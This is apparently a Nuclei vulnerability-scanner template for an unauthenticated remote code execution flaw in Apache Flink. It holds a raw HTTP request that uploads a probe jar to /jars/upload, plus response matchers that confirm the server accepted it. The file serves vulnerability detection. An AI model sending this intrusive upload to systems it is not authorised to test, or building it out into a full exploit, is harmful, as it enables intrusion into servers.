id: apache-flink-unauth-rce

info:
  name: Apache Flink - Remote Code Execution
  author: pikpikcu
  severity: critical
  description: Apache Flink contains an unauthenticated remote code execution vulnerability.
  reference:
    - https://www.exploit-db.com/exploits/48978
    - https://adamc95.medium.com/apache-flink-1-9-x-part-1-set-up-5d85fd2770f3
    - https://github.com/LandGrey/flink-unauth-rce
  classification:
    cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H
    cvss-score: 10
    cwe-id: CWE-94,CWE-434
  metadata:
    max-request: 1
  tags: apache,flink,rce,intrusive,unauth,vuln

http:
  - raw:
      - |
        POST /jars/upload HTTP/1.1
        Host: {{Hostname}}
        Content-Type: multipart/form-data;boundary=8ce4b16b22b58894aa86c421e8759df3

        --8ce4b16b22b58894aa86c421e8759df3
        Content-Disposition: form-data; name="jarfile";filename="poc.jar"
        Content-Type:application/octet-stream

          {{randstr}}
        --8ce4b16b22b58894aa86c421e8759df3--

    matchers-condition: and
    matchers:
      - type: word
        words:
          - "application/json"
        part: header
        condition: and

      - type: word
        words:
          - "success"
          - "_poc.jar"
        part: body
        condition: and

      - type: status
        status:
          - 200
# digest: 4a0a00473045022047a9f7680854b830ef29597aa091ea3a23e2c714a9178eabe448a7480aa95be6022100c0a3fbf852a58b2c775101711ce606de5b4e17dfdedc79503d3f372c42dfcee0:922c64590222798bb761d5b6d8e72950